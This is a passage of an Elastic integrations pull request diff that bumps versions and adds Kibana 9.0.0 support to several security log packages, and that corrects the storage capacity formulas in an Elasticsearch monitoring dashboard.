https://github.com/elastic/integrations/pull/12919 - version: "0.1.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/cyberark_epm/manifest.yml b/packages/cyberark_epm/manifest.yml index 15c3d9983f8..d2fe8c8398e 100644 --- a/packages/cyberark_epm/manifest.yml +++ b/packages/cyberark_epm/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.3.0 name: cyberark_epm title: CyberArk EPM -version: 0.1.1 +version: "0.2.0" description: Collect logs from CyberArk EPM with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.16.0 + version: "^8.16.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/cyberark_pta/changelog.yml b/packages/cyberark_pta/changelog.yml index ae7a14a34f1..57160771fa2 100644 --- a/packages/cyberark_pta/changelog.yml +++ b/packages/cyberark_pta/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.12.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.11.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". diff --git a/packages/cyberark_pta/manifest.yml b/packages/cyberark_pta/manifest.yml index 4a8fb3b56e2..4519122fc43 100644 --- a/packages/cyberark_pta/manifest.yml +++ b/packages/cyberark_pta/manifest.yml @@ -1,13 +1,13 @@ name: cyberark_pta title: Cyberark Privileged Threat Analytics -version: "1.11.0" +version: "1.12.0" description: Collect security logs from Cyberark PTA integration. type: integration format_version: "3.0.3" categories: ["security", "iam"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/cyberarkpta-overview.png title: cyberark pta overview diff --git a/packages/cyberarkpas/changelog.yml b/packages/cyberarkpas/changelog.yml index 6f5b1337c14..f9762a4881b 100644 --- a/packages/cyberarkpas/changelog.yml +++ b/packages/cyberarkpas/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.27.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.26.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/cyberarkpas/manifest.yml b/packages/cyberarkpas/manifest.yml index 45036ce0467..7c28b85198b 100644 --- a/packages/cyberarkpas/manifest.yml +++ b/packages/cyberarkpas/manifest.yml @@ -1,13 +1,13 @@ name: cyberarkpas title: CyberArk Privileged Access Security -version: "2.26.1" +version: "2.27.0" description: Collect logs from CyberArk Privileged Access Security with Elastic Agent. type: integration format_version: "3.0.3" categories: ["security", "iam"] conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" screenshots: - src: /img/filebeat-cyberarkpas-overview.png title: filebeat cyberarkpas overview diff --git a/packages/cybereason/changelog.yml b/packages/cybereason/changelog.yml index c77753b4999..6caf6911186 100644 --- a/packages/cybereason/changelog.yml +++ b/packages/cybereason/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/cybereason/manifest.yml b/packages/cybereason/manifest.yml index bd85f8e84e9..6099e86b4e0 100644 --- a/packages/cybereason/manifest.yml +++ b/packages/cybereason/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.3 name: cybereason title: Cybereason -version: "1.2.1" +version: "1.3.0" description: Collect logs from Cybereason with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/cylance/changelog.yml b/packages/cylance/changelog.yml index 8f2a4955664..3c5179d47a5 100644 --- a/packages/cylance/changelog.yml +++ b/packages/cylance/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.23.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.22.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". diff --git a/packages/cylance/manifest.yml b/packages/cylance/manifest.yml index 73db3c1c1fe..da18c7bef31 100644 --- a/packages/cylance/manifest.yml +++ b/packages/cylance/manifest.yml @@ -1,13 +1,13 @@ format_version: 2.7.0 name: cylance title: CylanceProtect Logs -version: "0.22.0" +version: "0.23.0" description: Collect logs from CylanceProtect devices with Elastic Agent. categories: ["security", "edr_xdr"] type: integration conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: protect title: CylanceProtect diff --git a/packages/darktrace/changelog.yml b/packages/darktrace/changelog.yml index 3b91810864f..9f8329403fc 100644 --- a/packages/darktrace/changelog.yml +++ b/packages/darktrace/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.23.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.22.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/darktrace/manifest.yml b/packages/darktrace/manifest.yml index 6b2a7834914..493be568764 100644 --- a/packages/darktrace/manifest.yml +++ b/packages/darktrace/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: darktrace title: Darktrace -version: "1.22.1" +version: "1.23.0" description: Collect logs from Darktrace with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - network_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/darktrace-screenshot.png title: Darktrace Model Breach Alert Dashboard Screenshot diff --git a/packages/ded/changelog.yml b/packages/ded/changelog.yml index 718870bd227..88615d0ff5f 100644 --- a/packages/ded/changelog.yml +++ b/packages/ded/changelog.yml @@ -1,3 +1,8 @@ +- version: "2.3.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12940 - version: "2.2.1" changes: - description: Add agent policy documentation diff --git a/packages/ded/elasticsearch/transform/pivot_transform/transform.yml b/packages/ded/elasticsearch/transform/pivot_transform/transform.yml index cf413c923d2..a487b4801af 100644 --- a/packages/ded/elasticsearch/transform/pivot_transform/transform.yml +++ b/packages/ded/elasticsearch/transform/pivot_transform/transform.yml @@ -1,6 +1,6 @@ dest: - index: ml_network_ded-2.2.0 + index: ml_network_ded-2.3.0 aliases: - alias: ml_network_ded.latest move_on_creation: true diff --git a/packages/ded/manifest.yml b/packages/ded/manifest.yml index c510ecf828d..3f54c6067f0 100644 --- a/packages/ded/manifest.yml +++ b/packages/ded/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.0 name: ded title: "Data Exfiltration Detection" -version: 2.2.1 +version: 2.3.0 source: license: "Elastic-2.0" description: "ML package to detect data exfiltration in your network and file data." @@ -12,7 +12,7 @@ categories: - advanced_analytics_ueba conditions: kibana: - version: "^8.10.1" + version: "^8.10.1 || ^9.0.0" elastic: subscription: platinum capabilities: diff --git a/packages/dga/changelog.yml b/packages/dga/changelog.yml index 542fa801d44..43f395415bf 100644 --- a/packages/dga/changelog.yml +++ b/packages/dga/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.2.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12940 - version: "2.1.1" changes: - description: Add agent policy documentation diff --git a/packages/dga/manifest.yml b/packages/dga/manifest.yml index 019b56a159e..7b39a2d756f 100644 --- a/packages/dga/manifest.yml +++ b/packages/dga/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.4 name: dga title: "Domain Generation Algorithm Detection" -version: 2.1.1 +version: 2.2.0 source: license: "Elastic-2.0" description: "ML solution package to detect domain generation algorithm (DGA) activity in your network data." @@ -12,7 +12,7 @@ categories: - advanced_analytics_ueba conditions: kibana: - version: "^8.9.0" + version: "^8.9.0 || ^9.0.0" elastic: subscription: platinum screenshots: diff --git a/packages/digital_guardian/changelog.yml b/packages/digital_guardian/changelog.yml index df9987afeb2..ff9da8b4a17 100644 --- a/packages/digital_guardian/changelog.yml +++ b/packages/digital_guardian/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.0" changes: - description: Add export profile GUID to documents. diff --git a/packages/digital_guardian/manifest.yml b/packages/digital_guardian/manifest.yml index ea4ba69d06c..805298a78dc 100644 --- a/packages/digital_guardian/manifest.yml +++ b/packages/digital_guardian/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: digital_guardian title: Digital Guardian -version: "1.4.0" +version: "1.5.0" description: Collect logs from Digital Guardian with Elastic Agent. type: integration categories: @@ -11,7 +11,7 @@ source: license: "Elastic-2.0" conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/elasticsearch/changelog.yml b/packages/elasticsearch/changelog.yml index 664557ccbc5..53320b325f1 100644 --- a/packages/elasticsearch/changelog.yml +++ b/packages/elasticsearch/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.17.4" + changes: + - description: Fix formulas for computing tier capacity + type: bugfix + link: https://github.com/elastic/integrations/pull/11480 - version: "1.17.3" changes: - description: Fix ingest pipeline reference in elasticsearch transform job diff --git a/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml index 144a0bb21e0..ab4e1ec25ef 100644 --- a/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml +++ b/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml @@ -6,3 +6,6 @@ vars: username: elastic password: changeme data_stream: ~ +# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1 +# remove this setting once the Kibana constraint in the package manifest is >=8.17.1 +skip_transform_validation: true diff --git a/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml index 258073dd228..ec9b0905020 100644 --- a/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml +++ b/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml @@ -8,3 +8,6 @@ vars: data_stream: vars: active.only: false +# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1 +# remove this setting once the Kibana constraint in the package manifest is >=8.17.1 +skip_transform_validation: true diff --git a/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml index c67afb168d7..0c6339292e9 100644 --- a/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml +++ b/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml @@ -6,3 +6,6 @@ vars: username: elastic password: changeme data_stream: ~ +# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1 +# remove this setting once the Kibana constraint in the package manifest is >=8.17.1 +skip_transform_validation: true diff --git a/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml b/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml index 366d4a88095..57e94c7ed8b 100644 --- a/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml +++ b/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml @@ -1,5 +1,5 @@ source: - index: "metrics-elasticsearch.stack_monitoring.index*,.monitoring-es-8*,metricbeat-*" + index: "metrics-elasticsearch.stack_monitoring.index*,.monitoring-es-*,metricbeat-*" query: bool: filter: @@ -119,7 +119,7 @@ pivot: script: "Math.max(0, params.end-params.start)" dest: index: "monitoring-indices" - pipeline: "1.17.3-monitoring_indices" + pipeline: "1.17.4-monitoring_indices" description: This transform runs every 10 minutes to compute extra metrics for the Elasticsearch indices. frequency: 10m settings: diff --git a/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json b/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json index 3d7352f1d57..669a9143ba3 100755 --- a/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json +++ b/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json @@ -10,12 +10,12 @@ "ignoreValidations": false }, "panelsJSON": { - "26fa3348-d349-409e-8aad-5da1da895099": { + "a68989df-598b-4464-9c6b-55775912bbb5": { "explicitInput": { "enhancements": {}, "existsSelected": false, "fieldName": "cluster_uuid", - "id": "26fa3348-d349-409e-8aad-5da1da895099", + "id": "a68989df-598b-4464-9c6b-55775912bbb5", "selectedOptions": [], "title": "Cluster" }, @@ -24,12 +24,12 @@ "type": "optionsListControl", "width": "medium" }, - "edc5ea25-970b-4f97-8064-64ad5a3a9533": { + "fef7d043-569d-4ed2-9fdf-ce87704e449f": { "explicitInput": { "enhancements": {}, "fieldName": "elasticsearch.node.name", "grow": true, - "id": "edc5ea25-970b-4f97-8064-64ad5a3a9533", + "id": "fef7d043-569d-4ed2-9fdf-ce87704e449f", "searchTechnique": "wildcard", "title": "Node", "width": "medium" @@ -88,12 +88,12 @@ }, "gridData": { "h": 46, - "i": "233ac008-b397-40c0-a6d8-430e0ff614e6", + "i": "7c10f2d3-98e9-4077-a061-f4b9c58d40e9", "w": 6, "x": 0, "y": 0 }, - "panelIndex": "233ac008-b397-40c0-a6d8-430e0ff614e6", + "panelIndex": "7c10f2d3-98e9-4077-a061-f4b9c58d40e9", "title": "Table of Contents", "type": "visualization" }, @@ -396,12 +396,12 @@ }, "gridData": { "h": 7, - "i": "170c1c3f-3273-4565-b6ec-6f538a2c981a", + "i": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe", "w": 8, "x": 6, "y": 0 }, - "panelIndex": "170c1c3f-3273-4565-b6ec-6f538a2c981a", + "panelIndex": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe", "title": "Total Storage (all clusters)", "type": "lens" }, @@ -600,12 +600,12 @@ }, "gridData": { "h": 7, - "i": "583ea325-c28c-4a16-952c-1868d5c1aaa1", + "i": "285f3b8f-29b1-4377-92ab-5277f4f9fb72", "w": 34, "x": 14, "y": 0 }, - "panelIndex": "583ea325-c28c-4a16-952c-1868d5c1aaa1", + "panelIndex": "285f3b8f-29b1-4377-92ab-5277f4f9fb72", "title": "Total Storage per cluster (largest clusters first)", "type": "lens" }, @@ -833,12 +833,12 @@ }, "gridData": { "h": 12, - "i": "26bdde12-9818-4960-b087-2bc3113275b3", + "i": "26634e74-25c2-4185-bd11-b7f3d5f6dd94", "w": 21, "x": 6, "y": 7 }, - "panelIndex": "26bdde12-9818-4960-b087-2bc3113275b3", + "panelIndex": "26634e74-25c2-4185-bd11-b7f3d5f6dd94", "title": "Total Storage over time", "type": "lens" }, @@ -1073,12 +1073,12 @@ }, "gridData": { "h": 12, - "i": "df8e7d7a-eee6-43a4-b40f-570d3204858a", + "i": "e206a4d2-3243-47f0-9e0b-632898d1d1a9", "w": 21, "x": 27, "y": 7 }, - "panelIndex": "df8e7d7a-eee6-43a4-b40f-570d3204858a", + "panelIndex": "e206a4d2-3243-47f0-9e0b-632898d1d1a9", "title": "Total Bytes per node (data_content role) - Top 100", "type": "lens" }, @@ -1391,12 +1391,12 @@ }, "gridData": { "h": 9, - "i": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7", + "i": "137bc048-9306-40bb-a0ce-d8e282d2df56", "w": 42, "x": 6, "y": 19 }, - "panelIndex": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7", + "panelIndex": "137bc048-9306-40bb-a0ce-d8e282d2df56", "title": "Count of Indices \u0026 Shards by Cluster", "type": "lens" }, @@ -1406,12 +1406,12 @@ "references": [ { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" } ], @@ -1419,15 +1419,14 @@ "adHocDataViews": {}, "datasourceStates": { "formBased": { - "currentIndexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", "layers": { "02e09bab-5219-430f-b9eb-174286c0f6d6": { "columnOrder": [ "9245674b-1047-49b1-8f03-01484be9afac", + "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "9245674b-1047-49b1-8f03-01484be9afacX0", "9245674b-1047-49b1-8f03-01484be9afacX1", "9245674b-1047-49b1-8f03-01484be9afacX2", - "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2" @@ -1440,7 +1439,7 @@ "label": "Maximum", "operationType": "formula", "params": { - "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -1488,8 +1487,8 @@ "max": 96, "min": 0 }, - "name": "divide", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -1506,7 +1505,7 @@ "label": "Low Watermark", "operationType": "formula", "params": { - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -1566,8 +1565,8 @@ "max": 105, "min": 0 }, - "name": "divide", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "type": "function" } }, @@ -1580,7 +1579,6 @@ }, "ignoreGlobalFilters": false, "incompleteColumns": {}, - "indexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", "linkToLayers": [], "sampling": 1 }, @@ -1707,7 +1705,6 @@ }, "ignoreGlobalFilters": false, "incompleteColumns": {}, - "indexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", "sampling": 1 } } @@ -1810,12 +1807,12 @@ }, "gridData": { "h": 9, - "i": "8752d51c-1b01-4876-8b10-055bbf61caa2", + "i": "e9c29467-4e0f-450d-b30c-9d05db7fcaea", "w": 21, "x": 6, "y": 28 }, - "panelIndex": "8752d51c-1b01-4876-8b10-055bbf61caa2", + "panelIndex": "e9c29467-4e0f-450d-b30c-9d05db7fcaea", "title": "Total Hot Capacity", "type": "lens" }, @@ -1825,12 +1822,12 @@ "references": [ { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" } ], @@ -1843,10 +1840,10 @@ "02e09bab-5219-430f-b9eb-174286c0f6d6": { "columnOrder": [ "9245674b-1047-49b1-8f03-01484be9afac", + "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "9245674b-1047-49b1-8f03-01484be9afacX0", "9245674b-1047-49b1-8f03-01484be9afacX1", "9245674b-1047-49b1-8f03-01484be9afacX2", - "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2" @@ -1859,7 +1856,7 @@ "label": "Maximum", "operationType": "formula", "params": { - "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -1907,8 +1904,8 @@ "max": 96, "min": 0 }, - "name": "divide", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -1925,7 +1922,7 @@ "label": "Low Watermark", "operationType": "formula", "params": { - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -1985,8 +1982,8 @@ "max": 105, "min": 0 }, - "name": "divide", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2039,7 +2036,7 @@ "decimals": 0 } }, - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2098,21 +2095,21 @@ "e95f13e7-1417-419e-8f53-634184c0497aX1" ], "location": { - "max": 116, + "max": 115, "min": 1 }, "name": "subtract", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)", "type": "function" }, "e95f13e7-1417-419e-8f53-634184c0497aX2" ], "location": { - "max": 158, + "max": 156, "min": 0 }, "name": "multiply", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2229,12 +2226,12 @@ }, "gridData": { "h": 9, - "i": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5", + "i": "fbb2075f-d9fc-41f6-8dce-20f90247d08a", "w": 21, "x": 27, "y": 28 }, - "panelIndex": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5", + "panelIndex": "fbb2075f-d9fc-41f6-8dce-20f90247d08a", "title": "Total Warm Capacity", "type": "lens" }, @@ -2244,12 +2241,12 @@ "references": [ { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" } ], @@ -2262,10 +2259,10 @@ "02e09bab-5219-430f-b9eb-174286c0f6d6": { "columnOrder": [ "9245674b-1047-49b1-8f03-01484be9afac", + "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "9245674b-1047-49b1-8f03-01484be9afacX0", "9245674b-1047-49b1-8f03-01484be9afacX1", "9245674b-1047-49b1-8f03-01484be9afacX2", - "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2" @@ -2278,7 +2275,7 @@ "label": "Maximum", "operationType": "formula", "params": { - "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2326,8 +2323,8 @@ "max": 96, "min": 0 }, - "name": "divide", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2344,7 +2341,7 @@ "label": "Low Watermark", "operationType": "formula", "params": { - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2401,11 +2398,11 @@ "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1" ], "location": { - "max": 105, + "max": 104, "min": 0 }, - "name": "divide", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2458,7 +2455,7 @@ "decimals": 0 } }, - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2517,21 +2514,21 @@ "e95f13e7-1417-419e-8f53-634184c0497aX1" ], "location": { - "max": 116, + "max": 115, "min": 1 }, "name": "subtract", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)", "type": "function" }, "e95f13e7-1417-419e-8f53-634184c0497aX2" ], "location": { - "max": 158, + "max": 156, "min": 0 }, "name": "multiply", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2648,12 +2645,12 @@ }, "gridData": { "h": 9, - "i": "be551525-62bc-469a-b798-a2d9d5bc4c53", + "i": "5244b514-3922-44c8-9348-60001c2123ac", "w": 21, "x": 6, "y": 37 }, - "panelIndex": "be551525-62bc-469a-b798-a2d9d5bc4c53", + "panelIndex": "5244b514-3922-44c8-9348-60001c2123ac", "title": "Total Cold Capacity", "type": "lens" }, @@ -2663,12 +2660,12 @@ "references": [ { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" } ], @@ -2681,10 +2678,10 @@ "02e09bab-5219-430f-b9eb-174286c0f6d6": { "columnOrder": [ "9245674b-1047-49b1-8f03-01484be9afac", + "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "9245674b-1047-49b1-8f03-01484be9afacX0", "9245674b-1047-49b1-8f03-01484be9afacX1", "9245674b-1047-49b1-8f03-01484be9afacX2", - "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1", "fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2" @@ -2697,7 +2694,7 @@ "label": "Maximum", "operationType": "formula", "params": { - "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, 